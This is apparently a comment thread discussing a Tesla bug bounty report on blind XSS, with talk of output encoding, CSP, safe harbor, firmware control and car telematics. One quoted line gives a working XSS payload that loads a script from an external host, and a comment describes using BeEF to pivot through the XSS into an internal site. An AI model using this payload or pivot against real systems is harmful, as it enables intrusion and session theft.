Cracking My Windshield and Earning $10k on the Tesla Bug Bounty Program
samcurry.net
samcurry.net
As a consultant that gets to see a lot of "internal only" applications, this is one of the misconceptions that me and my coworkers try to fight against. XSS is effective even if the attacker doesn't have access to the internal application, because it's not the attacker's computer making the requests.
I don't like "sanitization" personally, because it sounds like you're removing "bad stuff", but in general, "bad stuff" is not identifiable or removable because "bad stuff" is highly context-dependent, plus a lot of times the "bad stuff" is perfectly legitimate [1]. Apostrophes are "bad stuff", because they can break out of SQL queries and HTML tags, but they are also parts of people's names. Double-quotes are "bad things", but they are legitimately part of all sorts of real data. Any "sanitize(string)" function is by definition wrong because it has no place for a context to go, and it will do bad things to your data.
One of my items on my short checklist for examining an HTML templating language is "does the simplest possible way to dump out a string to the user at least do HTML encoding on the value"? That is,
x = "<>"
template = compileTemplate("{x}")
template.Dump({x: x})
for whatever the simplest output of a value is, should output "<>"; if it outputs "<>", you've got a templating language that you ARE going to write XSS attacks in, no matter how careful you are. The time you want to dump out non-encoded text is the exception, not the rule.Bonus points for being even more aware of the context and correctly encoding things in Javascript context vs. HTML context, etc. This isn't a magic wand that fixes everything, but in general, if it does default to a blind HTML-encode it at least means that instead of a security failure if you screw up the encoding, you'll get the user seeing some ugly stuff on their screen like < instead.
[1]: Although, technically, I think it's acceptable for an HTML encoding function to just eliminate the ASCII control characters other than newline, carriage return, and tab, rather than encode them. Those are just asking for trouble, even if you encode them. Especially NUL. Even in 2019, best to keep NULs out of places they don't belong.
And the idea of "sanitization at input" is especially ridiculous: how can you know what you will be concatenating that input with until you actually do it? I.e. is it being inserted into some HTML? is It going in an attribute value or a text node? What about outputting JSON?
This is why we typically speak about defense in depth. Input sanitization works best when applied to known expected inputs, like a phone number or dob.
Output encoding is the real solution where we know where we intend any data to end up (this is how it’s displayed) so we can ensure that it’s in the correct format and that that format parser won’t interpret it as code instead of data. Ie html attribute, html, Json, JavaScript, etc.
It's also a more common to display or use data than storing it, so you don't have that many places where you can fail when you just convert the input before storing it.
It's nice to be able to trust all data coming from the server.
It's time we stop pretending the big bad internet is just "out there" just because it should be, it is everywhere.
I cannot describe the shock when I realized what information an attacker could have gained in a window of 6 months the bug was active.
All of this code was written by experienced programmers, it's just that nobody ever wrote any tests to ensure the fancy security code was still in place.
This is an amazingly open and refreshing policy!
Probably illegal to drive this on any public road, however on his own property/private roads he is having a blast.
I'd want a lot more roll cage than he has on there.
There's obviously legal nuance involving speed, safety, etc. But propagating a cultural assumption of "doing something weird must be illegal" is frightening.
Not with Tesla recording remotely what "owners" do with their cars.
Edit: ignore me, I apparently cannot read
Since when do insurance companies approve car mods? And what does that have to do with something being legal?
The only federal legal restrictions are on emissions equipment and safety equipment like seat belts and airbags. Some states have additional laws like tint limits and exhaust sound limits.
And any mods have to be reported to your insurer in the UK, even if it's just changing rims or putting on non-standard size tyres - failing to do so might get your claim denied if you ever file one.
I think since the default is for something to be "legal" until it is made "illegal" it makes the phrase "already legal" an uncommon one.
Not that they wouldn't try.
Same as the whole "warranty void if seal is broken" nonsense.
Another hacker who discovered references to the Model 3 in his car before its announcement:
* had his vehicle firmware downgraded to a version that contained no such references
* had his vehicle blocked from receiving further firmware updates
* had his vehicles ethernet port disabled
* [deleted] caught some commentary from Musk about his hacking behavior put himself, and other drivers at risk.[/deleted]
Though I suppose it's not technically "breaking" but downgrading.
Tesla software is Tesla IP. Would you dump your company's Github repos to customers? If not, why would Tesla wanting to tightly control their firmware and its contents be different? I have yet to run across a license agreement when code is provided to a customer that allows reverse engineering or disassembly.
I do disagree with the decision to disable ethernet ports on an owner's product.
And is the company entitled to reach into your device and remove the software provided and substitute it with an older version?
One could argue whatever that because Tesla advertises heavily with OTA upgrades that they are included in the purchase price and therefore should not be able to be unilaterally pulled.
I don't know exactly what obligations automakers have with respect to recalls, but I would expect that it's something more than just "we aren't allowed to make the car any more broken than it was the day you bought it".
Is this actually true? I'm entitled to a working product, so if a future update fixes bugs, am I not entitled to it?
Also, specifically in Tesla's case, they advertise that their cars are "capable of providing Autopilot features today, and full self-driving capabilities in the future through software updates". If that does happen, am I not entitled to that update considering I bought a Tesla with that in mind?
"What does your contract [or in this case, purchase agreement] say?" If it is silent on the subject of updates, how would a court interpret the argument that you are entitled to free software updates? For how long?
The battery and powertrain warranty is specific. The remaining component warranty is specific. The amount of time you receive premium data for is specific. There is no language to my knowledge (I would have to pull the purchase agreement for my Model S out) that speaks to a purchaser's entitlement to software updates when purchasing any model of Tesla.
Not to mention the fact that courts also tend to side with consumers when it comes to "implied contracts". If every car sold has and still does get updates on a regular basis, Tesla can't just not give the same to some customers.
Now, there may well be a provision allowing in the contract staying they have a right to deny updates if you try to reverse engineer things, but otherwise, they would need to go through the courts to go after someone for breach of contract. You don't get to take the law into your own hands when you suspect someone of wronging you.
I wouldn't expect any other car manufacturer to respond ever, most don't even own their software stack.
So if they got a bug report it would have to travel through ten layers of indirection before an engineer got to read it (let alone understand/respond). Particularly when there might be two or three different written word languages used between consumer and engineer (e.g. English -> Japanese -> Mandarin (Taiwan)).
Tesla (and Ford previously) were actually oddballs in that they didn't use "off the shelf" infotainment units.
Tessa (and Ford previously) were actually oddballs in that they didn't use "off the shelf" infotainment units.
Isn't being different great sometimes?Two years ago, despite I wouldn't call myself the deepest technical person on the planet, I found a terrible bug that exposed 1.1M records for a bay area startup. (edit: the bug was really easy to find, it was a form of URL injection. I couldn't even believe that bug was there in the first place).
I reached out to them multiple times, only to realize they were going to ignore me in perpetuity. I didn't even want money, I would have been happy just to see the bug fixed. (I never helped fix a bug that another company had). Nada.
A less scrupulous person would have sold that information and exposed data for 1.1M people.
I am not naming the company here, even though they would totally deserve it.
I do wonder to what extent the culture itself of how we approach bugs is designed to benefit companies over consumers. That we avoid naming and shaming due to a chilling effect of blow back, that we have disclosure windows, that the legal framework for reporting bugs is so flaky, that we are all accustomed to bad security practices and getting our data hacked, it all feels like it is architected to benefit companies who rarely suffer from hacks (sometimes there is a significant cost, but that rarely outweighs the profits).
It reminds me of identity theft. The entire concept that you lost money because your identity was stolen from you, that the bank (or other company) who feel for the fake victim isn't even a party to the actual crime, pushes the costs onto consumers. Instead of seeing it as the banks being the victim and thus responsible to bear the costs that aren't recoverable from the criminals, is is their customers who are. Thus it reduces the cost to the bank of poor identity management. An entire culture that offloads the costs of the bank's penny pinching onto consumers.
Another such examples is when the early automotive industry pushed for people to view jay walking as the crime, shifting blame onto pedestrians for being in the way of cars.
> they would totally deserve it.
They do. It is important to warn their customers about their practices. They had their chance and proved they're absolutely incompetent and shouldn't have anyone's data.
Edit: I checked the emails to refresh my memory. A human acknowledged that it was a flaw in the security scanner and forwarded it to the drive team, then a bot (AFAICT) determined that it was not eligible based on metadata in the report.
Edit 2: I did get one thing out of it. They sent me an invitation to a Bounty Craft event in Las Vegas during Def Con which I was attending that year (likely the actions of another bot scraping the email list). I got there early and accidentally sat down in the Microsoft Security Response team's couch area while they were all up getting food. They were nice people. They realized I never picked up swag on the way in and someone took me back to the door to get it. Apparently since I was with one of the event organizer and they said "you forgot to give him a t-shirt" they assumed I was staff and gave me a staff t-shirt. The event was 100% about how the sponsor companies were investing in automated fuzzing technologies and basically didn't need bug bounty hunters anymore. Slap in the face.
People shouldn't sell exploits because it's a crime that hurts people.
My story is silly, of course, but the point is real. If you don't attack and then fix systems, a lot of people will get hurt.
You don't offer rewards to prevent criminals from selling exploits. Criminals are going to sell exploits anyway. Bug bounties have nothing to do with criminal behavior.
Bounties are there to incentivize the honest people to do security work. And the response of an honest person being denied a bounty IS ABSOLUTELY NOT to turn around and sell it.
So would you rather actively help leaking 1m records to public or potentially have someone else getting 10m a year later, but not having anything to do with it directly?
Thinking about it you might try and contact a bigger tech news site to get the companies attention.
That's exactly what happened with Zoom. They half ass fixed it, then it went public and it was fixed in one day.
Basically, the company has physical stores and also sells stuff online. Stuff bought online can be returned in store. However, if you bought an item online which was on sale, you could return in store for the full amount. I returned a laptop which I bought online for $999 and received $1399 back.
I think it was due to the fact that the store runs on iSeries/AS400 and the website is in .Net. I happen to work with both, and I can imagine that there is a lot of pain to make the systems work together.
If they didn't bother to look at the receipt for your laptop... well, that seems like negligence on the part of the staff handling the return.
[1] https://ico.org.uk/about-the-ico/news-and-events/news-and-bl...
No way am I buying a connected car.
Once all new cars are connected, the DuckDuckGo of cars will launch soon thereafter with the promise of a privacy centric connected car :)
Speed: 81 mph
I wonder if that, coupled with the GPS info (which wasn't included in the data returned, but I assume the car knows it) would be sufficient to issue a speeding ticket if the government had access to the data?
Seems like a huge information asymmetry, though. Anyone who's ever dealt with an insurance claim knows that they find any nitpick to get out of payments... having an insurance provider that can say "actually we don't owe you anything because according to our black box, you were 2 mph over the speed limit therefore you were negligent" seems like it defeats the purpose of having insurance.
I like the idea of more accurate pricing based on actual (low) usage, but I don't like that it gives them a disproportionately larger surface area for their lawyers to find technicalities that gets them out of paying claims. When the tollbooth transponders came out, they explicitly said "this will never be used to issue speeding tickets" even though all the data was there... I don't believe MetroMile makes any similar promise.
"Everyone" says that, but I haven't found it to be true. Progressive fixed my car without any hassle (they paid nearly $5K to replace a door and fender and repaint the side of the car after someone tried to pry open the door). I also made a claim against Geico when a USPS truck hit me, again, trouble free, they paid the claim (minus my deductible) quickly and it took 18 months to get the USPS t
My sister lost her house to a fire and said that her insurance company (Allstate maybe) was super easy to deal with.
In my experience, everyone is just trying to minimize their cash outflows. Incident claims are a zero-sum game, and if someone gets more or better information, that comes at the expense of someone else.
Source: Me, after paying hundreds of dollars because the "signal was lost" for over a month, billed at the daily max rate, while their emails about it went to spam.
I left Australia in 2006, but even before then, the government had altered the statutes on speeding from the old model - 10% margin of error, to a flat 3kph(2mph) due to "increased accuracy in manufacturing".
F1 cars, and I believe now high end sports cars use a differebt system that's basically how an optical mouse works. They image the road underneath the car and measure it moving past. This gives turning in addition. If you watch an F1 night race you can see a glow on the ground under the nose - that's the illuminator for the sensor.
IMO it's a silly hack. The fine should go the vehicle owner, who is responsible for pursuing recompense from the person the lent the car to (or file a theft report, or whatever).
What if you car is being toed by a speeding truck (or on a trailer) ?
As a side note, it does feel like my due process rights are being violated when I have to deal with this. You can't go in front of a judge, but rather can go argue the ticket in some local government office.
Germany has photo-radar, but can only issue a ticket to the driver.
Possibly that’s related to some of their history, I’m not sure.
Though they do issue voluntary “caution” money tickets to the owner at a discount to make it go away without identifying the driver.
If it's a physical ticket on the car (parking, speeding, etc), you can pay it before the rental company ever hears of it and avoid those admin fees.
A few British politicians have found this out the hard way.
https://en.wikipedia.org/wiki/Chris_Huhne
https://www.theguardian.com/uk-news/2019/jan/29/labour-mp-fi...
https://en.wikipedia.org/wiki/Marcus_Einfeld#Criminal_convic...
Luckily it isn't in Tesla's interest to just hand this info over to the government en mass.
In Michigan doesn't allow automatic speeding camera things that automatically issue tickets, while New York does.
Going off how Michigan operates then no, the GPS info wouldn't be enough.
In another government such as China the answer is very likely "Yes".
> Did you really name your Tesla "><script src=//zlz.xss.ht></script>?
> Oh, yes, little Bobby ScriptSrc, we call him.
This is the first clause in the "in scope" section, so it is not unauthorized.
It would be bad if he used this to just wander around in their website, though. Nobody's contested whether this is worth a $10,000 payout yet, but this seems a decent place to point out that using https://beefproject.com , you can use that XSS vulnerability as a reverse proxy back into Tesla's network, and browse through the support site authenticated as the user currently accessing the XSS payload. This isn't just an XSS, it was a authentication bypass that a real attacker could have leveraged into access into that internal web site full of sensitive info in just a few minutes.
This is what the "safe harbor" that the author was referring to is supposed to cover.
> Tesla considers that a pre-approved, good-faith security researcher who complies with this policy to access a computer on a research-registered vehicle has not accessed a computer without authorization or exceeded authorized access under the Computer Fraud and Abuse Act ("CFAA"). [1]
*.teslamotors.com, which is where the blind XSS payload fired, is in scope and therefore the safe harbor covers that asset too. For more on bug bounty safe harbors, I would highly recommend taking a look at Amit Elazari's work at https://amitelazari.com/%23legalbugbounty-hof and https://github.com/edoverflow/legal-bug-bounty.
CSP would do the trick, though.
The other fix is properly escaping things before sticking them in your markup.
Or simply not displaying user data using a markup language with built-in remote code execution.
The page being discussed is accessed by Tesla garages all over the country (and potentially internationally), creating a web app on an intranet site makes a lot of sense (for single point of update, single point of support, and the ability to run across diverse user devices). Particularly as the raw data always need to come from Tesla's HQ either way.
As to if the same garage machine should also have access to the internet, I cannot speak to that, it depends what else it is being used for (e.g. showing customers Tesla's public facing website for example, accessing third party vendor's inventory systems, research, etc).
No platform is immune from insecure usage. Not desktop software. Not terminal emulators. Not even mobile apps. That's particularly true when the context you're stealing information from is the same as the context you're attempting to run evil code.
A separate browser instance should be used for accessing external links, preferably with JIT disabled, with a file system namespace or equivalent disabling access to much of the file system.
But okay, nothing is secure according to you.
You shouldn't ever be running untrusted JavaScript. Content Security Policy and similar are just extra layers of protection if you mess up.
Case in point: the owner altered the vehicle's name using the vehicle's own UI (which is probably not browser based). That input gets stored in the database. Then another system, web-based, wants to display it. If you don't encode the output, you'll be exposed.
Never trust that the input is properly encoded. HTML encode it before display, always.
I'm not going to address it because it wasn't made in good faith and adds no value to the actual (rather than imagined) discussion.
Sorry, I can't help myself: pedantry
But we're living in a world where there are still people running unpatched Windows XP boxes still vulnerable to MS08-067.
If it weren't for Windows automatically installing updates, I imagine at least half of home users would still be vulnerable to Eternal Blue.